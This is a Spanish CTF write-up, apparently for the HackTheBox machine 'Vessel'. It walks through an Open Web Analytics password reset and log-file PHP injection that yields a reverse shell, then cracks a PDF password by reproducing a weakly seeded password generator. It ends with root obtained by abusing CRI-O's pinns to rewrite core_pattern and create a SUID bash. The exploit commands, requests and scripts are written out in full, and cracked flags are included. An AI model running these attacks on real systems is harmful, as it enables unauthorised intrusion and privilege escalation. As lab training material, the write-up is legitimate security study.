      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["creation_date"]=>
    object(__PHP_Incomplete_Class)#9 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(10) "1650211659"
      ["data_type"]=>
      string(6) "BIGINT"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["last_update_date"]=>
    object(__PHP_Incomplete_Class)#10 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(10) "1650211659"
      ["data_type"]=>
      string(6) "BIGINT"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["api_key"]=>
    object(__PHP_Incomplete_Class)#11 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      string(7) "api_key"
      ["value"]=>
      string(32) "a390cc0247ecada9a2b8d2338b9ca6d2"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
  }
  ["_tableProperties"]=>
  array(4) {
    ["alias"]=>
    string(4) "user"
    ["name"]=>
    string(8) "owa_user"
    ["cacheable"]=>
    bool(true)
    ["cache_expiration_period"]=>
    int(604800)
  }
  ["wasPersisted"]=>
  bool(true)
  ["cache"]=>
  NULL
}

Introduzco una nueva contraseña para el usuario admin

La intercepto con BurpSuite. Para que se efectúe, es necesario introducir la ```temp_passkey`` que se encuentra en la data deserializada

owa_password=password&owa_password2=password&owa_k=eff08fd277edff488d3be5a901b5923f&owa_action=base.usersChangePassword&owa_submit_btn=Save+Your+New+Password

Se mofifica sin problemas. Puedo acceder a una nueva interfaz

En los ajustes, se leakea la ruta de los LOGs

Intercepto la petición al guardar los cambios

POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
Content-Length: 772
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://openwebanalytics.vessel.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://openwebanalytics.vessel.htb/index.php?owa_do=base.optionsGeneral
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: owa_userSession=admin; owa_passwordSession=701056e6de1c0d912736cb75767ca864c817c0cb6f446f4d5a06c898ac24fed2
Connection: close

owa_config%5Bbase.resolve_hosts%5D=1&owa_config%5Bbase.log_feedreaders%5D=1&owa_config%5Bbase.log_robots%5D=0&owa_config%5Bbase.log_named_users%5D=1&owa_config%5Bbase.excluded_ips%5D=%2C&owa_config%5Bbase.anonymize_ips%5D=0&owa_config%5Bbase.fetch_refering_page_info%5D=1&owa_config%5Bbase.p3p_policy%5D=NOI+ADM+DEV+PSAi+COM+NAV+OUR+OTRo+STP+IND+DEM&owa_config%5Bbase.query_string_filters%5D=%2C&owa_config%5Bbase.announce_visitors%5D=0&owa_config%5Bbase.notice_email%5D=admin%40vessel.htb&owa_config%5Bbase.geolocation_lookup%5D=1&owa_config%5Bbase.track_feed_links%5D=1&owa_config%5Bbase.async_log_dir%5D=%2Fvar%2Fwww%2Fhtml%2Fowa%2Fowa-data%2Flogs%2F&owa_config%5Bbase.timezone%5D=America%2FLos_Angeles&owa_nonce=52e5c089f6&owa_action=base.optionsUpdate&owa_module=base

Añado otro campo con un Mass Asignement Attack

owa_config[base.error_log_file]=2

Se crea un archivo temporal errors.txt

Como la web interpreta PHP, puedo tratar de inyectar código en alguno de los campos

Gano acceso al sistema como www-data

nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.178.
Ncat: Connection from 10.10.11.178:44852.
script /dev/null -c bash
Script started, file is /dev/null
www-data@vessel:/var/www/html/owa/owa-data/caches$ ^Z
zsh: suspended  ncat -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443
                                reset xterm
www-data@vessel:/var/www/html/owa/owa-data/caches$ export TERM=xterm
www-data@vessel:/var/www/html/owa/owa-data/caches$ export SHELL=bash
www-data@vessel:/var/www/html/owa/owa-data/caches$ stty rows 55 columns 209

Existe un exploit público en Github que automatiza todo este proceso

python3 exploit.py 'http://openwebanalytics.vessel.htb' 10.10.16.3 443
Attempting to generate cache for "admin" user
Attempting to find cache of "admin" user
Found temporary password for user "admin": 6a7d50f1df6cbf9d6d602a24e5f9d9af
Changed the password of "admin" to "admin"
Logged in as "admin" user
Creating log file
Wrote payload to log file
Triggering payload! Check your listener!
You can trigger the payload again at "http://openwebanalytics.vessel.htb/owa-data/caches/Rof6FGWA.php"

En el directorio personal de steven hay un directorio .notes

www-data@vessel:/home/steven$ ls -la
total 33796
drwxrwxr-x 3 steven steven     4096 Aug 11  2022 .
drwxr-xr-x 4 root   root       4096 Aug 11  2022 ..
lrwxrwxrwx 1 root   root          9 Apr 18  2022 .bash_history -> /dev/null
-rw------- 1 steven steven      220 Apr 17  2022 .bash_logout
-rw------- 1 steven steven     3771 Apr 17  2022 .bashrc
drwxr-xr-x 2 ethan  steven     4096 Aug 11  2022 .notes
-rw------- 1 steven steven      807 Apr 17  2022 .profile
-rw-r--r-- 1 ethan  steven 34578147 May  4  2022 passwordGenerator

Contiene una imagen y un documento en PDF. Los transfiero a mi equipo

www-data@vessel:/home/steven/.notes$ ls
notes.pdf  screenshot.png

La imagen se ve así: Está empleando 32 caracteres, me puede servir para saber la longitud exacta de la contraseña

El PDF está protegido por contraseña

Utilizo pdf2john para crear un hash equivalente y crackearlo por fuerza bruta

pdf2john notes.pdf > hash

Pero no encuentra la contraseña

john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:32 DONE (2023-04-10 08:56) 0g/s 443192p/s 443192c/s 443192C/s  0 0 0..*7¡Vamos!
Session completed. 

Me transfiero un binario compilado de Windows también del directorio personal de steven

www-data@vessel:/home/steven$ file passwordGenerator 
passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows

Con strings puedo ver cadenas en python en texto claro

strings -n 80 passwordGenerator | head -n 2
import sys; sys.stdout.flush();                 (sys.__stdout__.flush if sys.__stdout__                 is not sys.stdout else (lambda: None))()
import sys; sys.stderr.flush();                 (sys.__stderr__.flush if sys.__stderr__                 is not sys.stderr else (lambda: None))()

Utilizo una herramienta llamada pyinstxtractor.py para decompilarlo

python3 pyinstxtractor.py passwordGenerator
[+] Processing passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: passwordGenerator

You can now use a python decompiler on the pyc files within the extracted directory

Esto ha creado un directorio con todos los archivos que lo componen

ls -la
total 62772
drwxr-xr-x 5 root root     4096 Apr 10 09:10 .
drwxr-xr-x 5 root root     4096 Apr 10 09:10 ..
-rw-r--r-- 1 root root   796140 Apr 10 09:10 base_library.zip
-rw-r--r-- 1 root root    78352 Apr 10 09:10 _bz2.pyd
-rw-r--r-- 1 root root   104976 Apr 10 09:10 _ctypes.pyd
-rw-r--r-- 1 root root  3706048 Apr 10 09:10 d3dcompiler_47.dll
-rw-r--r-- 1 root root    32272 Apr 10 09:10 _hashlib.pyd
-rw-r--r-- 1 root root  2228256 Apr 10 09:10 libcrypto-1_1.dll
-rw-r--r-- 1 root root    27928 Apr 10 09:10 libEGL.dll
-rw-r--r-- 1 root root  2942232 Apr 10 09:10 libGLESv2.dll
-rw-r--r-- 1 root root   537632 Apr 10 09:10 libssl-1_1.dll
-rw-r--r-- 1 root root   146960 Apr 10 09:10 _lzma.pyd
-rw-r--r-- 1 root root    28952 Apr 10 09:10 MSVCP140_1.dll
-rw-r--r-- 1 root root   435600 Apr 10 09:10 MSVCP140.dll
-rw-r--r-- 1 root root 15995904 Apr 10 09:10 opengl32sw.dll
-rw-r--r-- 1 root root     7910 Apr 10 09:10 passwordGenerator.pyc
-rw-r--r-- 1 root root   162320 Apr 10 09:10 pyexpat.pyd
-rw-r--r-- 1 root root     1378 Apr 10 09:10 pyiboot01_bootstrap.pyc
-rw-r--r-- 1 root root     1700 Apr 10 09:10 pyimod01_os_path.pyc
-rw-r--r-- 1 root root     8721 Apr 10 09:10 pyimod02_archive.pyc
-rw-r--r-- 1 root root    17748 Apr 10 09:10 pyimod03_importers.pyc
-rw-r--r-- 1 root root     3640 Apr 10 09:10 pyimod04_ctypes.pyc
-rw-r--r-- 1 root root      676 Apr 10 09:10 pyi_rth_inspect.pyc
-rw-r--r-- 1 root root     1081 Apr 10 09:10 pyi_rth_pkgutil.pyc
-rw-r--r-- 1 root root      457 Apr 10 09:10 pyi_rth_pyside2.pyc
-rw-r--r-- 1 root root      811 Apr 10 09:10 pyi_rth_subprocess.pyc
drwxr-xr-x 4 root root     4096 Apr 10 09:10 PySide2
-rw-r--r-- 1 root root   148248 Apr 10 09:10 pyside2.abi3.dll
-rw-r--r-- 1 root root  3441168 Apr 10 09:10 python37.dll
-rw-r--r-- 1 root root    58896 Apr 10 09:10 python3.dll
-rw-r--r-- 1 root root  1193342 Apr 10 09:10 PYZ-00.pyz
drwxr-xr-x 2 root root     4096 Apr 10 09:10 PYZ-00.pyz_extracted
-rw-r--r-- 1 root root  5386520 Apr 10 09:10 Qt5Core.dll
-rw-r--r-- 1 root root   349976 Apr 10 09:10 Qt5DBus.dll
-rw-r--r-- 1 root root  5899032 Apr 10 09:10 Qt5Gui.dll
-rw-r--r-- 1 root root  1056024 Apr 10 09:10 Qt5Network.dll
-rw-r--r-- 1 root root  4034328 Apr 10 09:10 Qt5Pdf.dll
-rw-r--r-- 1 root root  2980120 Apr 10 09:10 Qt5Qml.dll
-rw-r--r-- 1 root root   355096 Apr 10 09:10 Qt5QmlModels.dll
-rw-r--r-- 1 root root  3494680 Apr 10 09:10 Qt5Quick.dll
-rw-r--r-- 1 root root   269080 Apr 10 09:10 Qt5Svg.dll
-rw-r--r-- 1 root root  2048280 Apr 10 09:10 Qt5VirtualKeyboard.dll
-rw-r--r-- 1 root root   127256 Apr 10 09:10 Qt5WebSockets.dll
-rw-r--r-- 1 root root  4464408 Apr 10 09:10 Qt5Widgets.dll
-rw-r--r-- 1 root root    23568 Apr 10 09:10 select.pyd
drwxr-xr-x 2 root root     4096 Apr 10 09:10 shiboken2
-rw-r--r-- 1 root root   234776 Apr 10 09:10 shiboken2.abi3.dll
-rw-r--r-- 1 root root    66064 Apr 10 09:10 _socket.pyd
-rw-r--r-- 1 root root   100880 Apr 10 09:10 _ssl.pyd
-rw-r--r-- 1 root root      297 Apr 10 09:10 struct.pyc
-rw-r--r-- 1 root root  1063440 Apr 10 09:10 unicodedata.pyd
-rw-r--r-- 1 root root    83768 Apr 10 09:10 VCRUNTIME140.dll

Pero me interesa solo un script que contemple todo. Para ello utilizo uncompyle6

uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc > passwordGenerator.py

El script final queda así:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 2.7.18 (default, Aug  1 2022, 06:23:55) 
# [GCC 12.1.0]
# Embedded file name: passwordGenerator.py
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip

class Ui_MainWindow(object):

    def setupUi(self, MainWindow):
        if not MainWindow.objectName():
            MainWindow.setObjectName('MainWindow')
        MainWindow.resize(560, 408)
        self.centralwidget = QWidget(MainWindow)
        self.centralwidget.setObjectName('centralwidget')
        self.title = QTextBrowser(self.centralwidget)
        self.title.setObjectName('title')
        self.title.setGeometry(QRect(80, 10, 411, 51))
        self.textBrowser_2 = QTextBrowser(self.centralwidget)
        self.textBrowser_2.setObjectName('textBrowser_2')
        self.textBrowser_2.setGeometry(QRect(10, 80, 161, 41))
        self.generate = QPushButton(self.centralwidget)
        self.generate.setObjectName('generate')
        self.generate.setGeometry(QRect(140, 330, 261, 51))
        self.PasswordLength = QSpinBox(self.centralwidget)
        self.PasswordLength.setObjectName('PasswordLength')
        self.PasswordLength.setGeometry(QRect(30, 130, 101, 21))
        self.PasswordLength.setMinimum(10)
        self.PasswordLength.setMaximum(40)
        self.copyButton = QPushButton(self.centralwidget)
        self.copyButton.setObjectName('copyButton')
        self.copyButton.setGeometry(QRect(460, 260, 71, 61))
        self.textBrowser_4 = QTextBrowser(self.centralwidget)
        self.textBrowser_4.setObjectName('textBrowser_4')
        self.textBrowser_4.setGeometry(QRect(190, 170, 141, 41))
        self.checkBox = QCheckBox(self.centralwidget)
        self.checkBox.setObjectName('checkBox')
        self.checkBox.setGeometry(QRect(250, 220, 16, 17))
        self.checkBox.setCheckable(True)
        self.checkBox.setChecked(False)
        self.checkBox.setTristate(False)
        self.comboBox = QComboBox(self.centralwidget)
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.setObjectName('comboBox')
        self.comboBox.setGeometry(QRect(350, 130, 161, 21))
        self.textBrowser_5 = QTextBrowser(self.centralwidget)
        self.textBrowser_5.setObjectName('textBrowser_5')
        self.textBrowser_5.setGeometry(QRect(360, 80, 131, 41))
        self.password_field = QLineEdit(self.centralwidget)
        self.password_field.setObjectName('password_field')
        self.password_field.setGeometry(QRect(100, 260, 351, 61))
        MainWindow.setCentralWidget(self.centralwidget)
        self.statusbar = QStatusBar(MainWindow)
        self.statusbar.setObjectName('statusbar')
        MainWindow.setStatusBar(self.statusbar)
        self.retranslateUi(MainWindow)
        QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(QCoreApplication.translate('MainWindow', 'MainWindow', None))
        self.title.setDocumentTitle('')
        self.title.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:20pt;">Secure Password Generator</span></p></body></html>', None))
        self.textBrowser_2.setDocumentTitle('')
        self.textBrowser_2.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Password Length</span></p></body></html>', None))
        self.generate.setText(QCoreApplication.translate('MainWindow', 'Generate!', None))
        self.copyButton.setText(QCoreApplication.translate('MainWindow', 'Copy', None))
        self.textBrowser_4.setDocumentTitle('')
        self.textBrowser_4.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Hide Password</span></p></body></html>', None))
        self.checkBox.setText('')
        self.comboBox.setItemText(0, QCoreApplication.translate('MainWindow', 'All Characters', None))
        self.comboBox.setItemText(1, QCoreApplication.translate('MainWindow', 'Alphabetic', None))
        self.comboBox.setItemText(2, QCoreApplication.translate('MainWindow', 'Alphanumeric', None))
        self.textBrowser_5.setDocumentTitle('')
        self.textBrowser_5.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:16pt;">characters</span></p></body></html>', None))
        self.password_field.setText('')


class MainWindow(QMainWindow, Ui_MainWindow):

    def __init__(self):
        super(MainWindow, self).__init__()
        self.setupUi(self)
        self.setFixedSize(QSize(550, 400))
        self.setWindowTitle('Secure Password Generator')
        self.password_field.setReadOnly(True)
        self.passlen()
        self.chars()
        self.hide()
        self.gen()

    def passlen(self):
        self.PasswordLength.valueChanged.connect(self.lenpass)

    def lenpass(self, l):
        global value
        value = l

    def chars(self):
        self.comboBox.currentIndexChanged.connect(self.charss)

    def charss(self, i):
        global index
        index = i

    def hide(self):
        self.checkBox.stateChanged.connect(self.status)

    def status(self, s):
        global status
        status = s == Qt.Checked

    def copy(self):
        self.copyButton.clicked.connect(self.copied)

    def copied(self):
        pyperclip.copy(self.password_field.text())

    def gen(self):
        self.generate.clicked.connect(self.genButton)

    def genButton(self):
        try:
            hide = status
            if hide:
                self.password_field.setEchoMode(QLineEdit.Password)
            else:
                self.password_field.setEchoMode(QLineEdit.Normal)
            password = self.genPassword()
            self.password_field.setText(password)
        except:
            msg = QMessageBox()
            msg.setWindowTitle('Warning')
            msg.setText('Change the default values before generating passwords!')
            x = msg.exec_()

        self.copy()

    def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password


if __name__ == '__main__':
    app = QtWidgets.QApplication()
    mainwindow = MainWindow()
    mainwindow.show()
    app.exec_()
# okay decompiling passwordGenerator_extracted/passwordGenerator.pyc

Puedo tratar de reutilar la función genPassword para crear un diccionario de contraseñas

1
2
3
4
5
6
7
8
9
10
11
12
13
from PySide2.QtCore import *

length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'

for i in range(0, 1000):
    qsrand(i)
    password = ''
    for i in range(length):
        idx = qrand() % len(charset)
        nchar = charset[idx]
        password += str(nchar)
    print(password)

Pero a pesar de todo, ninguna contraseña es válida

python3 test.py > passwords.txt
john -w:passwords.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-10-14 16:20) 0g/s 99900p/s 99900c/s 99900C/s 2J16^>.|vtXpN2[o1H;e4f|FF0([y+|q..l2DoG^icl}>kZ[tNB|:]m5km@{x:^7ck
Session completed. 

Esto puede deberse a que la librería no opera igual en linux que en Windows. Transfiero el script a una máquina Windows, instalo la librería y ejecuto

Para mover el diccionario a mi máquina Linux, es importante copiar y pegar para no arriesgarse a que se convierta a utf-16le, que es el encoder que utiliza Windows por defecto, debe de permanecer en utf-8. Si trato de crackear con estas, el resultado cambia

john -w:passwords.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)     
1g 0:00:00:00 DONE (2023-10-14 16:45) 100.0g/s 38400p/s 38400c/s 38400C/s _jEkA+f0VXtWZ[K.d+EdaBAB>;r]E3Z*..r6TUgox@Tb5JWnK5AHO}$AE%8!d58Shq
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

El PDF contiene la contraseña del usuario ethan a nivel de sistema

Puedo ver la primera flag

www-data@vessel:/home/steven/.notes$ su ethan
Password: 
ethan@vessel:/home/steven/.notes$ cd
ethan@vessel:~$ cat user.txt 
afa7ee371fb3ba934a9bf19535692637

Escalada

Busco por archivos cuyo propietario sea ethan, pero no encuentro nada interesante

ethan@vessel:/$ find \-user ethan 2>/dev/null | grep -vE "run|user|proc"
./home/steven/passwordGenerator
./home/steven/.notes
./home/steven/.notes/screenshot.png
./home/steven/.notes/notes.pdf
./home/ethan
./home/ethan/.cache
./home/ethan/.cache/motd.legal-displayed
./home/ethan/.local
./home/ethan/.local/share
./home/ethan/.local/share/nano
./home/ethan/.bashrc
./home/ethan/.gnupg
./home/ethan/.gnupg/crls.d
./home/ethan/.gnupg/crls.d/DIR.txt
./home/ethan/.gnupg/private-keys-v1.d
./home/ethan/.profile
./home/ethan/.bash_logout

Sin embargo, por grupos aparece algo inusual

ethan@vessel:/$ find \-group ethan 2>/dev/null | grep -vE "run|user|proc|home"
./usr/bin/pinns

Este binario es SUID, el propietario es root y pueden ejecutarlo los usuarios que pertenecen al grupo ethan

ethan@vessel:/$ find \-group ethan 2>/dev/null | grep -vE "run|user|proc|home" | xargs ls -l
-rwsr-x--- 1 root ethan 814936 Mar 15  2022 ./usr/bin/pinns

Busco por vulnerabilidades asociadas a este y encuentro un CVE que permite ejecución de comandos

Siguiendo el post compruebo si afecta a la versión de la máquina

ethan@vessel:/$ crio --version
crio version 1.19.6
Version:       1.19.6
GitCommit:     c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState:  clean
BuildDate:     2022-03-15T18:18:24Z
GoVersion:     go1.15.2
Compiler:      gc
Platform:      linux/amd64
Linkmode:      dynamic

Está instalada la versión 1.19.6, por lo que sí que aplica. En crowdstrike está detallado un PoC. Es posible modificar parámetros del kernelm para ejecutar una tarea indicada forzando un error. Esto está controlado por dos archivos. El primero es /proc/sys/kernel/core_pattern, que por defecto apunta a un binario del sistema

ethan@vessel:/$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

Aquí es donde voy a cambiar la ruta para que apunte a un script de bash que le asigne el privilegio SUID. Por otro lado está el /proc/sys/kernel/shm_rmid_forced. Puede tener dos posiciones, 0 y 1. En caso de que esté activado, se permite al kernel forzar la eliminación de segmentos de memoria compartida, en caso de que el último proceso termine para liberar ese espacio que ha sido asignado. Esto va a permitir que el programa se corrompa y se llamé al script de bash para realizar un “informe”, en este caso no va a ser así, ya que está modificado con otros fines. Ejecuto pinns siguiendo la guía para modificar los parámetros, pero aparece un error de argumentos

ethan@vessel:/$ pinns -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument

Al ser de código abierto, puedo abrir el repositorio de crio en Github. Por cada error que daba añadí el parámetro necesario, hasta que, finalmente, modificó los valores

ethan@vessel:/$ pinns -s'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/shm/ -f pwned -U
[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted
ethan@vessel:/$ cat /proc/sys/kernel/core_pattern 
|/tmp/pwned.sh
ethan@vessel:/$ cat /proc/sys/kernel/shm_rmid_forced
1

Creo un script llamado pwned.sh que copie la bash al directorio /tmp y le asigne SUID. Le doy permisos de ejecución

1
2
3
4
5
#!/bin/bash

cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod u+s /tmp/bash
ethan@vessel:/tmp$ chmod +x pwned.sh 

Para forzar la ejecución, hay que crear lo que se conoce como un core dump.

ethan@vessel:/tmp$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/pwned.sh #' -f pwned -d /dev/shm -U
ethan@vessel:/tmp$ sleep 100 &
[1] 1503
ethan@vessel:/tmp$ killall -s SIGSEGV sleep
ethan@vessel:/tmp$ ls -l bash
-rwsr-xr-x 1 root root 1183448 Oct 14 18:38 bash

Me conecto como root y puedo ver la segunda flag

ethan@vessel:/tmp$ ./bash -p
bash-5.0# id
uid=1000(ethan) gid=1000(ethan) euid=0(root) groups=1000(ethan)
bash-5.0# cat /root/root.txt 
b7cbbb54ecd0d5b69fbbec3dbcc072b0